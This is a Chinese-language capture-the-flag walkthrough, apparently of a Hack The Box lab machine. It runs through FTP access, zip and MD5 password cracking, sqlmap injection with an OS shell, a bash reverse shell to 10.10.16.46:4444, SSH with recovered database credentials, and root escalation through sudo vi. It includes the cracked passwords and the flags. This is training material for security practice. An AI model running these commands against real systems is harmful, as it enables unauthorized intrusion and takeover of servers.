1.端口扫描
nmap -v -sV -sC {ip}
2.FTP匿名登录
ftp {ip}
# name:anonymous password为空
dir
# 只有一个文件
get backupz.zip
bye
unzip backup.zip
# 解压,发现需要输入密码
zip2john backup.zip >hash
# 导出该压缩包的hash值,以便接下来做hash碰撞
john hash -w=/usr/share/wordlists/rockyou.txt
# 进行hash碰撞
可以看到跑出了密码
再进行解压,就得到了index.php和style.css
查看index.php的内容,关键内容如下
session_start();
> if(isset(_POST[‘username’]) && isset(_POST[‘password’])) {
> if(_POST[‘username’] === ‘admin’ && md5(_POST[‘password’]) === “2cb42f8734ea607eefed3b70af13bbd3”) {
> $_SESSION[‘login’] = “true”;
> header(“Location: dashboard.php”);
> }
> }
>?>
账号是admin,密码的md5值是2cb42f8734ea607eefed3b70af13bbd3,解密后为qwerty789
或者可以使用hashcat进行碰撞
echo "2cb42f8734ea607eefed3b70af13bbd3" >md5hash
hashcat -a 0 -m 0
# 这样也可以跑出hash值
成功登录了
3.SQL注入
可以看到是一个SQL查询框,尝试了一下,单引号闭合会出现报错信息,说明存在sql注入漏洞
直接利用sqlmap
需要注意的是,这里要添加cookie,原因是假如没有cookie认证,重新开一个浏览器输入ip访问还是会跳转到index.php,因为我们事先是通过账号密码登录进来的
sqlmap -u http://10.129.62.97/dashboard.php?search=a --cookie=PHPSESSID=pouphcppgnr1g1enr30tvgm3d1 --os-shell --batch
# --cookie用于添加cookie信息,--os-shell用于提权,--batch表示全自动化
这边直接有一个shell可以使用,但是命令执行的比较不方便
可以直接利用https://www.revshells.com/上的工具制作shell
修改相应的ip和端口
监听4444端口,os-shell这边执行
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.46/4444 0>&1'
反弹shell成功
python3 -c "import pty; pty.spawn('/bin/bash')"
# pty
cd /var/www/html
cat dashboard.php
# 得到 "host=localhost port=5432 dbname=carsdb user=postgres passwor# d=P@s5w0rd!"
ssh postgres@10.129.62.97
# password=P@s5w0rd! 登录成功
cat user.txt
# flag{ec9b13ca4d6229cd5cc1e09980965bf7}
4.提权
sudo -l
# 列出目前的权限 若用户不在sudoers中会提示不能运行sudo命令,存在则会显示详细的权限
# 当前只有/bin/vi命令可以sudo
这里是使用vi编辑器提权,vi里可以直接输入命令,因为这个vi是sudo打开,调出的shell也就是root身份。
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 在vi编辑界面里,输入如下命令并回车
!/bin/bash
# 获得了root权限
cd
cat root.txt
# flag{dd6e058e814260bc70e9bbdef2715849}